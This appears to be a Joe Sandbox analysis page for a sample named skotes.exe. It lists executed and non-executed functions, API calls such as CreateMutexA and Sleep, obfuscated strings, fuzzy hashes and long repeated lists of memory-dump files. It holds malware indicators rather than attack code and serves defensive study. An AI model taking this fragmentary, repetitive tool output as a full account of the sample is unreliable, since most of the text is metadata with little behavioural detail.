Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 99421567a22944ae4fa4e76e00e89e99f778684fe9a4f51f8efb32a4c2707b39
Instruction ID: e10d5672a097834086d93efc9a331bb82e9f61fdf4c5b14a202faf2bb0213cbc
Opcode Fuzzy Hash: 99421567a22944ae4fa4e76e00e89e99f778684fe9a4f51f8efb32a4c2707b39
Instruction Fuzzy Hash: E5219D312442089BFB2967A8989BF7DB261DFB1709F60441EE644D22C1CB7ACC80C593

Function 001CA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: aa20fa8874ed33ac4c6c55c91b7360d5dbb661992f45c2ca59cc80d3ccac090d
Instruction ID: 38268bce6a78ee5ffc64589f0cc96287252d7f076813ac82e0403d189341eeea
Opcode Fuzzy Hash: aa20fa8874ed33ac4c6c55c91b7360d5dbb661992f45c2ca59cc80d3ccac090d
Instruction Fuzzy Hash: A5216A327002489BEB199B68ED9AB6DB761EFE1718F20421DE418977D0C735D9808692

Non-executed Functions

Function 001FCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001FCC66

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 263283f7cebd87393a40177ac513447a0f7b0857f593a95b86d5b4b62f1534b2
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 71B1123290068E9FDB15CF68C9817BEBFA5EF55340F15416AEA45EB282D7348D02DBE0

Function 001C2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001C2F5F
__Mtx_unlock.LIBCPMT ref: 001C2FCC
__Mtx_unlock.LIBCPMT ref: 001C30F5
__Mtx_unlock.LIBCPMT ref: 001C319B

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 4bc41f5c8a1398d5150945024a0982337722c3ea2b0c85a8b152cc6a60350299
Instruction ID: ca67c26e882b84c8a4dee9b83ee7db18fe9726b80b277c59c0fbe6259d1628a3
Opcode Fuzzy Hash: 4bc41f5c8a1398d5150945024a0982337722c3ea2b0c85a8b152cc6a60350299
Instruction Fuzzy Hash: 40A1C1B1A01206EFDB20DF64C945B9AB7A8FF25314F14852EE825D7341EB31EA14CBD1

Function 001FF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 001FF3A3

Strings

8"", xrefs: 001FF44B
`'", xrefs: 001FF375

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8""$`'"
API String ID: 3903695350-2678582490
Opcode ID: f2d47b1f0707c1b86b6e0139207d5b0570c2b951c2cb90ef9c5946a7e1da4465
Instruction ID: 3d1c5a91ee80fd8865770b9f645b822949145cbf9fc823e09bdf75280f7cf3b5
Opcode Fuzzy Hash: f2d47b1f0707c1b86b6e0139207d5b0570c2b951c2cb90ef9c5946a7e1da4465
Instruction Fuzzy Hash: F831697160020DEFEB20AA79D845B7B73ECFF10312F50442DE649D6591DFB5A882CA21

Analysis Process: skotes.exePID: 2992, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	318
Total number of Limit Nodes:	31

Executed Functions

Function 001CE530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GnNoc2Hc, xrefs: 001CE56C
UA==, xrefs: 001CEB0F, 001CED56
9c9aa5, xrefs: 001CFB8E
246122658369, xrefs: 001CF737, 001CFA14, 001D05E7, 001D099A
WTs=, xrefs: 001D05CA
WTw=, xrefs: 001D097D
L1", xrefs: 001CF7E5
MQ==, xrefs: 001CE592
111, xrefs: 001CF7A0
WDw=, xrefs: 001CF71D, 001CF9FA
MGE+, xrefs: 001CE821
#, xrefs: 001D0624

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
